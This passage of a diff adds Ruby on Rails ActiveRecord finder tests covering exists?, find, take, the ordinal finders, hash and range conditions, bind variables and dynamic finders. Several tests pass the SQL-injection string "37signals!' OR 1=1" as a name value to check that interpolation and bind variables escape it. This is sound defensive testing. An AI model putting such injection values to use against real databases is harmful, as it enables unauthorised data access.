+    assert_equal true, author.unique_categorized_posts.includes(:special_comments).limit(1).exists?
+  end
+
+  def test_exists_with_distinct_association_includes_limit_and_order
+    author = Author.first
+    assert_equal false, author.unique_categorized_posts.includes(:special_comments).order("comments.tags_count DESC").limit(0).exists?
+    assert_equal true, author.unique_categorized_posts.includes(:special_comments).order("comments.tags_count DESC").limit(1).exists?
+  end
+
+  def test_exists_with_empty_table_and_no_args_given
+    Topic.delete_all
+    assert_equal false, Topic.exists?
+  end
+
+  def test_exists_with_aggregate_having_three_mappings
+    existing_address = customers(:david).address
+    assert_equal true, Customer.exists?(address: existing_address)
+  end
+
+  def test_exists_with_aggregate_having_three_mappings_with_one_difference
+    existing_address = customers(:david).address
+    assert_equal false, Customer.exists?(address: Address.new(existing_address.street, existing_address.city, existing_address.country + "1"))
+    assert_equal false, Customer.exists?(address: Address.new(existing_address.street, existing_address.city + "1", existing_address.country))
+    assert_equal false, Customer.exists?(address: Address.new(existing_address.street + "1", existing_address.city, existing_address.country))
+  end
+
+  def test_exists_does_not_instantiate_records
+    assert_not_called(Developer, :instantiate) do
+      Developer.exists?
+    end
+  end
+
+  def test_find_by_array_of_one_id
+    assert_kind_of(Array, Topic.find([ 1 ]))
+    assert_equal(1, Topic.find([ 1 ]).length)
+  end
+
+  def test_find_by_ids
+    assert_equal 2, Topic.find(1, 2).size
+    assert_equal topics(:second).title, Topic.find([2]).first.title
+  end
+
+  def test_find_by_ids_with_limit_and_offset
+    assert_equal 2, Entrant.limit(2).find([1, 3, 2]).size
+    entrants = Entrant.limit(3).offset(2).find([1, 3, 2])
+    assert_equal 1, entrants.size
+    assert_equal "Ruby Guru", entrants.first.name
+
+    # Also test an edge case: If you have 11 results, and you set a
+    #   limit of 3 and offset of 9, then you should find that there
+    #   will be only 2 results, regardless of the limit.
+    devs = Developer.all
+    last_devs = Developer.limit(3).offset(9).find devs.map(&:id)
+    assert_equal 2, last_devs.size
+    assert_equal "fixture_10", last_devs[0].name
+    assert_equal "Jamis", last_devs[1].name
+  end
+
+  def test_find_with_large_number
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find("9999999999999999999999999999999") }
+  end
+
+  def test_find_by_with_large_number
+    assert_nil Topic.find_by(id: "9999999999999999999999999999999")
+  end
+
+  def test_find_by_id_with_large_number
+    assert_nil Topic.find_by_id("9999999999999999999999999999999")
+  end
+
+  def test_find_on_relation_with_large_number
+    assert_nil Topic.where("1=1").find_by(id: 9999999999999999999999999999999)
+  end
+
+  def test_find_by_bang_on_relation_with_large_number
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Topic.where("1=1").find_by!(id: 9999999999999999999999999999999)
+    end
+  end
+
+  def test_find_an_empty_array
+    assert_equal [], Topic.find([])
+  end
+
+  def test_find_doesnt_have_implicit_ordering
+    assert_sql(/^((?!ORDER).)*$/) { Topic.find(1) }
+  end
+
+  def test_find_by_ids_missing_one
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, 2, 45) }
+  end
+
+  def test_find_with_group_and_sanitized_having_method
+    developers = Developer.group(:salary).having("sum(salary) > ?", 10000).select("salary").to_a
+    assert_equal 3, developers.size
+    assert_equal 3, developers.map(&:salary).uniq.size
+    assert developers.all? { |developer| developer.salary > 10000 }
+  end
+
+  def test_find_with_entire_select_statement
+    topics = Topic.find_by_sql "SELECT * FROM topics WHERE author_name = 'Mary'"
+
+    assert_equal(1, topics.size)
+    assert_equal(topics(:second).title, topics.first.title)
+  end
+
+  def test_find_with_prepared_select_statement
+    topics = Topic.find_by_sql ["SELECT * FROM topics WHERE author_name = ?", "Mary"]
+
+    assert_equal(1, topics.size)
+    assert_equal(topics(:second).title, topics.first.title)
+  end
+
+  def test_find_by_sql_with_sti_on_joined_table
+    accounts = Account.find_by_sql("SELECT * FROM accounts INNER JOIN companies ON companies.id = accounts.firm_id")
+    assert_equal [Account], accounts.collect(&:class).uniq
+  end
+
+  def test_find_by_association_subquery
+    author = authors(:david)
+    assert_equal author.post, Post.find_by(author: Author.where(id: author))
+    assert_equal author.post, Post.find_by(author_id: Author.where(id: author))
+  end
+
+  def test_find_by_and_where_consistency_with_active_record_instance
+    author = authors(:david)
+    assert_equal Post.where(author_id: author).take, Post.find_by(author_id: author)
+  end
+
+  def test_take
+    assert_equal topics(:first), Topic.take
+  end
+
+  def test_take_failing
+    assert_nil Topic.where("title = 'This title does not exist'").take
+  end
+
+  def test_take_bang_present
+    assert_nothing_raised do
+      assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").take!
+    end
+  end
+
+  def test_take_bang_missing
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.where("title = 'This title does not exist'").take!
+    end
+  end
+
+  def test_first
+    assert_equal topics(:second).title, Topic.where("title = 'The Second Topic of the day'").first.title
+  end
+
+  def test_first_failing
+    assert_nil Topic.where("title = 'The Second Topic of the day!'").first
+  end
+
+  def test_first_bang_present
+    assert_nothing_raised do
+      assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").first!
+    end
+  end
+
+  def test_first_bang_missing
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.where("title = 'This title does not exist'").first!
+    end
+  end
+
+  def test_first_have_primary_key_order_by_default
+    expected = topics(:first)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.first
+  end
+
+  def test_model_class_responds_to_first_bang
+    assert Topic.first!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.first!
+    end
+  end
+
+  def test_second
+    assert_equal topics(:second).title, Topic.second.title
+  end
+
+  def test_second_with_offset
+    assert_equal topics(:fifth), Topic.offset(3).second
+  end
+
+  def test_second_have_primary_key_order_by_default
+    expected = topics(:second)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.second
+  end
+
+  def test_model_class_responds_to_second_bang
+    assert Topic.second!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.second!
+    end
+  end
+
+  def test_third
+    assert_equal topics(:third).title, Topic.third.title
+  end
+
+  def test_third_with_offset
+    assert_equal topics(:fifth), Topic.offset(2).third
+  end
+
+  def test_third_have_primary_key_order_by_default
+    expected = topics(:third)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.third
+  end
+
+  def test_model_class_responds_to_third_bang
+    assert Topic.third!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.third!
+    end
+  end
+
+  def test_fourth
+    assert_equal topics(:fourth).title, Topic.fourth.title
+  end
+
+  def test_fourth_with_offset
+    assert_equal topics(:fifth), Topic.offset(1).fourth
+  end
+
+  def test_fourth_have_primary_key_order_by_default
+    expected = topics(:fourth)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.fourth
+  end
+
+  def test_model_class_responds_to_fourth_bang
+    assert Topic.fourth!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.fourth!
+    end
+  end
+
+  def test_fifth
+    assert_equal topics(:fifth).title, Topic.fifth.title
+  end
+
+  def test_fifth_with_offset
+    assert_equal topics(:fifth), Topic.offset(0).fifth
+  end
+
+  def test_fifth_have_primary_key_order_by_default
+    expected = topics(:fifth)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.fifth
+  end
+
+  def test_model_class_responds_to_fifth_bang
+    assert Topic.fifth!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.fifth!
+    end
+  end
+
+  def test_second_to_last
+    assert_equal topics(:fourth).title, Topic.second_to_last.title
+
+    # test with offset
+    assert_equal topics(:fourth), Topic.offset(1).second_to_last
+    assert_equal topics(:fourth), Topic.offset(2).second_to_last
+    assert_equal topics(:fourth), Topic.offset(3).second_to_last
+    assert_nil Topic.offset(4).second_to_last
+    assert_nil Topic.offset(5).second_to_last
+
+    #test with limit
+    assert_nil Topic.limit(1).second
+    assert_nil Topic.limit(1).second_to_last
+  end
+
+  def test_second_to_last_have_primary_key_order_by_default
+    expected = topics(:fourth)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.second_to_last
+  end
+
+  def test_model_class_responds_to_second_to_last_bang
+    assert Topic.second_to_last!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.second_to_last!
+    end
+  end
+
+  def test_third_to_last
+    assert_equal topics(:third).title, Topic.third_to_last.title
+
+    # test with offset
+    assert_equal topics(:third), Topic.offset(1).third_to_last
+    assert_equal topics(:third), Topic.offset(2).third_to_last
+    assert_nil Topic.offset(3).third_to_last
+    assert_nil Topic.offset(4).third_to_last
+    assert_nil Topic.offset(5).third_to_last
+
+    # test with limit
+    assert_nil Topic.limit(1).third
+    assert_nil Topic.limit(1).third_to_last
+    assert_nil Topic.limit(2).third
+    assert_nil Topic.limit(2).third_to_last
+  end
+
+  def test_third_to_last_have_primary_key_order_by_default
+    expected = topics(:third)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.third_to_last
+  end
+
+  def test_model_class_responds_to_third_to_last_bang
+    assert Topic.third_to_last!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.third_to_last!
+    end
+  end
+
+  def test_last_bang_present
+    assert_nothing_raised do
+      assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").last!
+    end
+  end
+
+  def test_last_bang_missing
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.where("title = 'This title does not exist'").last!
+    end
+  end
+
+  def test_model_class_responds_to_last_bang
+    assert_equal topics(:fifth), Topic.last!
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.delete_all
+      Topic.last!
+    end
+  end
+
+  def test_take_and_first_and_last_with_integer_should_use_sql_limit
+    assert_sql(/LIMIT|ROWNUM <=|FETCH FIRST/) { Topic.take(3).entries }
+    assert_sql(/LIMIT|ROWNUM <=|FETCH FIRST/) { Topic.first(2).entries }
+    assert_sql(/LIMIT|ROWNUM <=|FETCH FIRST/) { Topic.last(5).entries }
+  end
+
+  def test_last_with_integer_and_order_should_keep_the_order
+    assert_equal Topic.order("title").to_a.last(2), Topic.order("title").last(2)
+  end
+
+  def test_last_with_integer_and_order_should_use_sql_limit
+    relation = Topic.order("title")
+    assert_queries(1) { relation.last(5) }
+    assert !relation.loaded?
+  end
+
+  def test_last_with_integer_and_reorder_should_use_sql_limit
+    relation = Topic.reorder("title")
+    assert_queries(1) { relation.last(5) }
+    assert !relation.loaded?
+  end
+
+  def test_last_on_loaded_relation_should_not_use_sql
+    relation = Topic.limit(10).load
+    assert_no_queries do
+      relation.last
+      relation.last(2)
+    end
+  end
+
+  def test_last_with_irreversible_order
+    assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order("coalesce(author_name, title)").last
+    end
+  end
+
+  def test_last_on_relation_with_limit_and_offset
+    post = posts("sti_comments")
+
+    comments = post.comments.order(id: :asc)
+    assert_equal comments.limit(2).to_a.last, comments.limit(2).last
+    assert_equal comments.limit(2).to_a.last(2), comments.limit(2).last(2)
+    assert_equal comments.limit(2).to_a.last(3), comments.limit(2).last(3)
+
+    comments = comments.offset(1)
+    assert_equal comments.limit(2).to_a.last, comments.limit(2).last
+    assert_equal comments.limit(2).to_a.last(2), comments.limit(2).last(2)
+    assert_equal comments.limit(2).to_a.last(3), comments.limit(2).last(3)
+  end
+
+  def test_take_and_first_and_last_with_integer_should_return_an_array
+    assert_kind_of Array, Topic.take(5)
+    assert_kind_of Array, Topic.first(5)
+    assert_kind_of Array, Topic.last(5)
+  end
+
+  def test_unexisting_record_exception_handling
+    assert_raise(ActiveRecord::RecordNotFound) {
+      Topic.find(1).parent
+    }
+
+    Topic.find(2).topic
+  end
+
+  def test_find_only_some_columns
+    topic = Topic.select("author_name").find(1)
+    assert_raise(ActiveModel::MissingAttributeError) { topic.title }
+    assert_raise(ActiveModel::MissingAttributeError) { topic.title? }
+    assert_nil topic.read_attribute("title")
+    assert_equal "David", topic.author_name
+    assert !topic.attribute_present?("title")
+    assert !topic.attribute_present?(:title)
+    assert topic.attribute_present?("author_name")
+    assert_respond_to topic, "author_name"
+  end
+
+  def test_find_on_array_conditions
+    assert Topic.where(["approved = ?", false]).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(["approved = ?", true]).find(1) }
+  end
+
+  def test_find_on_hash_conditions
+    assert Topic.where(approved: false).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(approved: true).find(1) }
+  end
+
+  def test_find_on_hash_conditions_with_qualified_attribute_dot_notation_string
+    assert Topic.where("topics.approved" => false).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where("topics.approved" => true).find(1) }
+  end
+
+  def test_find_on_hash_conditions_with_qualified_attribute_dot_notation_symbol
+    assert Topic.where('topics.approved': false).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved': true).find(1) }
+  end
+
+  def test_find_on_hash_conditions_with_hashed_table_name
+    assert Topic.where(topics: { approved: false }).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(topics: { approved: true }).find(1) }
+  end
+
+  def test_find_on_combined_explicit_and_hashed_table_names
+    assert Topic.where("topics.approved" => false, topics: { author_name: "David" }).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where("topics.approved" => true, topics: { author_name: "David" }).find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where("topics.approved" => false, topics: { author_name: "Melanie" }).find(1) }
+  end
+
+  def test_find_with_hash_conditions_on_joined_table
+    firms = Firm.joins(:account).where(accounts: { credit_limit: 50 })
+    assert_equal 1, firms.size
+    assert_equal companies(:first_firm), firms.first
+  end
+
+  def test_find_with_hash_conditions_on_joined_table_and_with_range
+    firms = DependentFirm.joins(:account).where(name: "RailsCore", accounts: { credit_limit: 55..60 })
+    assert_equal 1, firms.size
+    assert_equal companies(:rails_core), firms.first
+  end
+
+  def test_find_on_hash_conditions_with_explicit_table_name_and_aggregate
+    david = customers(:david)
+    assert Customer.where("customers.name" => david.name, :address => david.address).find(david.id)
+    assert_raise(ActiveRecord::RecordNotFound) {
+      Customer.where("customers.name" => david.name + "1", :address => david.address).find(david.id)
+    }
+  end
+
+  def test_find_on_association_proxy_conditions
+    assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12], Comment.where(post_id: authors(:david).posts).map(&:id).sort
+  end
+
+  def test_find_on_hash_conditions_with_range
+    assert_equal [1, 2], Topic.where(id: 1..2).to_a.map(&:id).sort
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(id: 2..3).find(1) }
+  end
+
+  def test_find_on_hash_conditions_with_end_exclusive_range
+    assert_equal [1, 2, 3], Topic.where(id: 1..3).to_a.map(&:id).sort
+    assert_equal [1, 2], Topic.where(id: 1...3).to_a.map(&:id).sort
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(id: 2...3).find(3) }
+  end
+
+  def test_find_on_hash_conditions_with_multiple_ranges
+    assert_equal [1, 2, 3], Comment.where(id: 1..3, post_id: 1..2).to_a.map(&:id).sort
+    assert_equal [1], Comment.where(id: 1..1, post_id: 1..10).to_a.map(&:id).sort
+  end
+
+  def test_find_on_hash_conditions_with_array_of_integers_and_ranges
+    assert_equal [1, 2, 3, 5, 6, 7, 8, 9], Comment.where(id: [1..2, 3, 5, 6..8, 9]).to_a.map(&:id).sort
+  end
+
+  def test_find_on_hash_conditions_with_array_of_ranges
+    assert_equal [1, 2, 6, 7, 8], Comment.where(id: [1..2, 6..8]).to_a.map(&:id).sort
+  end
+
+  def test_find_on_multiple_hash_conditions
+    assert Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: false).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "HHC", replies_count: 1, approved: false).find(1) }
+  end
+
+  def test_condition_interpolation
+    assert_kind_of Firm, Company.where("name = '%s'", "37signals").first
+    assert_nil Company.where(["name = '%s'", "37signals!"]).first
+    assert_nil Company.where(["name = '%s'", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.where(["id = %d", 1]).first.written_on
+  end
+
+  def test_condition_array_interpolation
+    assert_kind_of Firm, Company.where(["name = '%s'", "37signals"]).first
+    assert_nil Company.where(["name = '%s'", "37signals!"]).first
+    assert_nil Company.where(["name = '%s'", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.where(["id = %d", 1]).first.written_on
+  end
+
+  def test_condition_hash_interpolation
+    assert_kind_of Firm, Company.where(name: "37signals").first
+    assert_nil Company.where(name: "37signals!").first
+    assert_kind_of Time, Topic.where(id: 1).first.written_on
+  end
+
+  def test_hash_condition_find_malformed
+    assert_raise(ActiveRecord::StatementInvalid) {
+      Company.where(id: 2, dhh: true).first
+    }
+  end
+
+  def test_hash_condition_find_with_escaped_characters
+    Company.create("name" => "Ain't noth'n like' \#stuff")
+    assert Company.where(name: "Ain't noth'n like' \#stuff").first
+  end
+
+  def test_hash_condition_find_with_array
+    p1, p2 = Post.limit(2).order("id asc").to_a
+    assert_equal [p1, p2], Post.where(id: [p1, p2]).order("id asc").to_a
+    assert_equal [p1, p2], Post.where(id: [p1, p2.id]).order("id asc").to_a
+  end
+
+  def test_hash_condition_find_with_nil
+    topic = Topic.where(last_read: nil).first
+    assert_not_nil topic
+    assert_nil topic.last_read
+  end
+
+  def test_hash_condition_find_with_aggregate_having_one_mapping
+    balance = customers(:david).balance
+    assert_kind_of Money, balance
+    found_customer = Customer.where(balance: balance).first
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_aggregate
+    gps_location = customers(:david).gps_location
+    assert_kind_of GpsLocation, gps_location
+    found_customer = Customer.where(gps_location: gps_location).first
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_with_aggregate_having_one_mapping_and_key_value_being_attribute_value
+    balance = customers(:david).balance
+    assert_kind_of Money, balance
+    found_customer = Customer.where(balance: balance.amount).first
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_attribute_value
+    gps_location = customers(:david).gps_location
+    assert_kind_of GpsLocation, gps_location
+    found_customer = Customer.where(gps_location: gps_location.gps_location).first
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_with_aggregate_having_three_mappings
+    address = customers(:david).address
+    assert_kind_of Address, address
+    found_customer = Customer.where(address: address).first
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_with_one_condition_being_aggregate_and_another_not
+    address = customers(:david).address
+    assert_kind_of Address, address
+    found_customer = Customer.where(address: address, name: customers(:david).name).first
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_condition_utc_time_interpolation_with_default_timezone_local
+    with_env_tz "America/New_York" do
+      with_timezone_config default: :local do
+        topic = Topic.first
+        assert_equal topic, Topic.where(["written_on = ?", topic.written_on.getutc]).first
+      end
+    end
+  end
+
+  def test_hash_condition_utc_time_interpolation_with_default_timezone_local
+    with_env_tz "America/New_York" do
+      with_timezone_config default: :local do
+        topic = Topic.first
+        assert_equal topic, Topic.where(written_on: topic.written_on.getutc).first
+      end
+    end
+  end
+
+  def test_condition_local_time_interpolation_with_default_timezone_utc
+    with_env_tz "America/New_York" do
+      with_timezone_config default: :utc do
+        topic = Topic.first
+        assert_equal topic, Topic.where(["written_on = ?", topic.written_on.getlocal]).first
+      end
+    end
+  end
+
+  def test_hash_condition_local_time_interpolation_with_default_timezone_utc
+    with_env_tz "America/New_York" do
+      with_timezone_config default: :utc do
+        topic = Topic.first
+        assert_equal topic, Topic.where(written_on: topic.written_on.getlocal).first
+      end
+    end
+  end
+
+  def test_bind_variables
+    assert_kind_of Firm, Company.where(["name = ?", "37signals"]).first
+    assert_nil Company.where(["name = ?", "37signals!"]).first
+    assert_nil Company.where(["name = ?", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.where(["id = ?", 1]).first.written_on
+    assert_raise(ActiveRecord::PreparedStatementInvalid) {
+      Company.where(["id=? AND name = ?", 2]).first
+    }
+    assert_raise(ActiveRecord::PreparedStatementInvalid) {
+      Company.where(["id=?", 2, 3, 4]).first
+    }
+  end
+
+  def test_bind_variables_with_quotes
+    Company.create("name" => "37signals' go'es against")
+    assert Company.where(["name = ?", "37signals' go'es against"]).first
+  end
+
+  def test_named_bind_variables_with_quotes
+    Company.create("name" => "37signals' go'es against")
+    assert Company.where(["name = :name", { name: "37signals' go'es against" }]).first
+  end
+
+  def test_named_bind_variables
+    assert_kind_of Firm, Company.where(["name = :name", { name: "37signals" }]).first
+    assert_nil Company.where(["name = :name", { name: "37signals!" }]).first
+    assert_nil Company.where(["name = :name", { name: "37signals!' OR 1=1" }]).first
+    assert_kind_of Time, Topic.where(["id = :id", { id: 1 }]).first.written_on
+  end
+
+  def test_count_by_sql
+    assert_equal(0, Entrant.count_by_sql("SELECT COUNT(*) FROM entrants WHERE id > 3"))
+    assert_equal(1, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 2]))
+    assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1]))
+  end
+
+  def test_find_by_one_attribute
+    assert_equal topics(:first), Topic.find_by_title("The First Topic")
+    assert_nil Topic.find_by_title("The First Topic!")
+  end
+
+  def test_find_by_one_attribute_bang
+    assert_equal topics(:first), Topic.find_by_title!("The First Topic")
+    assert_raises_with_message(ActiveRecord::RecordNotFound, "Couldn't find Topic") do
+      Topic.find_by_title!("The First Topic!")
+    end
+  end
+
+  def test_find_by_on_attribute_that_is_a_reserved_word
+    dog_alias = "Dog"
+    dog = Dog.create(alias: dog_alias)
+
+    assert_equal dog, Dog.find_by_alias(dog_alias)
+  end
+
+  def test_find_by_one_attribute_that_is_an_alias
+    assert_equal topics(:first), Topic.find_by_heading("The First Topic")
+    assert_nil Topic.find_by_heading("The First Topic!")
+  end
+
+  def test_find_by_one_attribute_bang_with_blank_defined
+    blank_topic = BlankTopic.create(title: "The Blank One")
+    assert_equal blank_topic, BlankTopic.find_by_title!("The Blank One")
+  end
+
+  def test_find_by_one_attribute_with_conditions
+    assert_equal accounts(:rails_core_account), Account.where("firm_id = ?", 6).find_by_credit_limit(50)
+  end
+
+  def test_find_by_one_attribute_that_is_an_aggregate
+    address = customers(:david).address
+    assert_kind_of Address, address
+    found_customer = Customer.find_by_address(address)
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_find_by_one_attribute_that_is_an_aggregate_with_one_attribute_difference
+    address = customers(:david).address
+    assert_kind_of Address, address
+    missing_address = Address.new(address.street, address.city, address.country + "1")
+    assert_nil Customer.find_by_address(missing_address)
+    missing_address = Address.new(address.street, address.city + "1", address.country)
+    assert_nil Customer.find_by_address(missing_address)
+    missing_address = Address.new(address.street + "1", address.city, address.country)
+    assert_nil Customer.find_by_address(missing_address)
+  end
+
+  def test_find_by_two_attributes_that_are_both_aggregates
+    balance = customers(:david).balance
+    address = customers(:david).address
+    assert_kind_of Money, balance
+    assert_kind_of Address, address
+    found_customer = Customer.find_by_balance_and_address(balance, address)
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_find_by_two_attributes_with_one_being_an_aggregate
+    balance = customers(:david).balance
+    assert_kind_of Money, balance
+    found_customer = Customer.find_by_balance_and_name(balance, customers(:david).name)
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_dynamic_finder_on_one_attribute_with_conditions_returns_same_results_after_caching
+    # ensure this test can run independently of order
+    class << Account; self; end.send(:remove_method, :find_by_credit_limit) if Account.public_methods.include?(:find_by_credit_limit)
+    a = Account.where("firm_id = ?", 6).find_by_credit_limit(50)
+    assert_equal a, Account.where("firm_id = ?", 6).find_by_credit_limit(50) # find_by_credit_limit has been cached
+  end
+
+  def test_find_by_one_attribute_with_several_options
+    assert_equal accounts(:unknown), Account.order("id DESC").where("id != ?", 3).find_by_credit_limit(50)
+  end
+
+  def test_find_by_one_missing_attribute
+    assert_raise(NoMethodError) { Topic.find_by_undertitle("The First Topic!") }
+  end
+
+  def test_find_by_invalid_method_syntax
+    assert_raise(NoMethodError) { Topic.fail_to_find_by_title("The First Topic") }
+    assert_raise(NoMethodError) { Topic.find_by_title?("The First Topic") }
+    assert_raise(NoMethodError) { Topic.fail_to_find_or_create_by_title("Nonexistent Title") }
+    assert_raise(NoMethodError) { Topic.find_or_create_by_title?("Nonexistent Title") }
+  end
+
+  def test_find_by_two_attributes
+    assert_equal topics(:first), Topic.find_by_title_and_author_name("The First Topic", "David")
+    assert_nil Topic.find_by_title_and_author_name("The First Topic", "Mary")
+  end
+
+  def test_find_by_two_attributes_but_passing_only_one
+    assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") }
+  end
+
+  def test_find_last_with_offset
+    devs = Developer.order("id")
+
+    assert_equal devs[2], Developer.offset(2).first
+    assert_equal devs[-3], Developer.offset(2).last
+    assert_equal devs[-3], Developer.offset(2).order("id DESC").first
+  end
+
+  def test_find_by_nil_attribute
+    topic = Topic.find_by_last_read nil
+    assert_not_nil topic
+    assert_nil topic.last_read
+  end
+
+  def test_find_by_nil_and_not_nil_attributes
+    topic = Topic.find_by_last_read_and_author_name nil, "Mary"
+    assert_equal "Mary", topic.author_name
+  end
+
+  def test_find_with_bad_sql
+    assert_raise(ActiveRecord::StatementInvalid) { Topic.find_by_sql "select 1 from badtable" }
+  end
+
+  def test_joins_dont_clobber_id
+    first = Firm.
+      joins("INNER JOIN companies clients ON clients.firm_id = companies.id").
+      where("companies.id = 1").first
+    assert_equal 1, first.id
+  end
+
+  def test_joins_with_string_array
+    person_with_reader_and_post = Post.
+      joins(["INNER JOIN categorizations ON categorizations.post_id = posts.id",
+             "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
+            ])
+    assert_equal 1, person_with_reader_and_post.size
+  end
+
+  def test_find_by_id_with_conditions_with_or
+    assert_nothing_raised do
+      Post.where("posts.id <= 3 OR posts.#{QUOTED_TYPE} = 'Post'").find([1, 2, 3])
+    end
+  end
+
+  def test_find_ignores_previously_inserted_record
+    Post.create!(title: "test", body: "it out")
+    assert_equal [], Post.where(id: nil)
+  end
+
+  def test_find_by_empty_ids
+    assert_equal [], Post.find([])
+  end
+
+  def test_find_by_empty_in_condition
+    assert_equal [], Post.where("id in (?)", [])
+  end
+
+  def test_find_by_records
+    p1, p2 = Post.limit(2).order("id asc").to_a
+    assert_equal [p1, p2], Post.where(["id in (?)", [p1, p2]]).order("id asc")
+    assert_equal [p1, p2], Post.where(["id in (?)", [p1, p2.id]]).order("id asc")
+  end
+
+  def test_select_value
+    assert_equal "37signals", Company.connection.select_value("SELECT name FROM companies WHERE id = 1")
+    assert_nil Company.connection.select_value("SELECT name FROM companies WHERE id = -1")
+    # make sure we didn't break count...
+    assert_equal 0, Company.count_by_sql("SELECT COUNT(*) FROM companies WHERE name = 'Halliburton'")
+    assert_equal 1, Company.count_by_sql("SELECT COUNT(*) FROM companies WHERE name = '37signals'")
+  end
+
+  def test_select_values
+    assert_equal ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map!(&:to_s)
+    assert_equal ["37signals", "Summit", "Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux", "Apex"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
+  end
+
+  def test_select_rows
+    assert_equal(
+      [["1", "1", nil, "37signals"],
+       ["2", "1", "2", "Summit"],
+       ["3", "1", "1", "Microsoft"]],
+      Company.connection.select_rows("SELECT id, firm_id, client_of, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map! { |i| i.map! { |j| j.to_s unless j.nil? } })
+    assert_equal [["1", "37signals"], ["2", "Summit"], ["3", "Microsoft"]],
+      Company.connection.select_rows("SELECT id, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map! { |i| i.map! { |j| j.to_s unless j.nil? } }
+  end
+
+  def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct
+    assert_equal 2, Post.includes(authors: :author_address).
+      where.not(author_addresses: { id: nil }).
+      order("author_addresses.id DESC").limit(2).to_a.size
+
+    assert_equal 3, Post.includes(author: :author_address, authors: :author_address).
+      where.not(author_addresses_authors: { id: nil }).
+      order("author_addresses_authors.id DESC").limit(3).to_a.size
+  end
+
+  def test_find_with_nil_inside_set_passed_for_one_attribute
+    client_of = Company.
+      where(client_of: [2, 1, nil],
+            name: ["37signals", "Summit", "Microsoft"]).
+      order("client_of DESC").
+      map(&:client_of)
+
+    assert_includes client_of, nil
+    assert_equal [2, 1].sort, client_of.compact.sort
+  end
+
+  def test_find_with_nil_inside_set_passed_for_attribute
+    client_of = Company.
+      where(client_of: [nil]).
+      order("client_of DESC").
+      map(&:client_of)
+
+    assert_equal [], client_of.compact
+  end
+
+  def test_with_limiting_with_custom_select
+    posts = Post.references(:authors).merge(
+      includes: :author, select: 'posts.*, authors.id as "author_id"',
+      limit: 3, order: "posts.id"
+    ).to_a
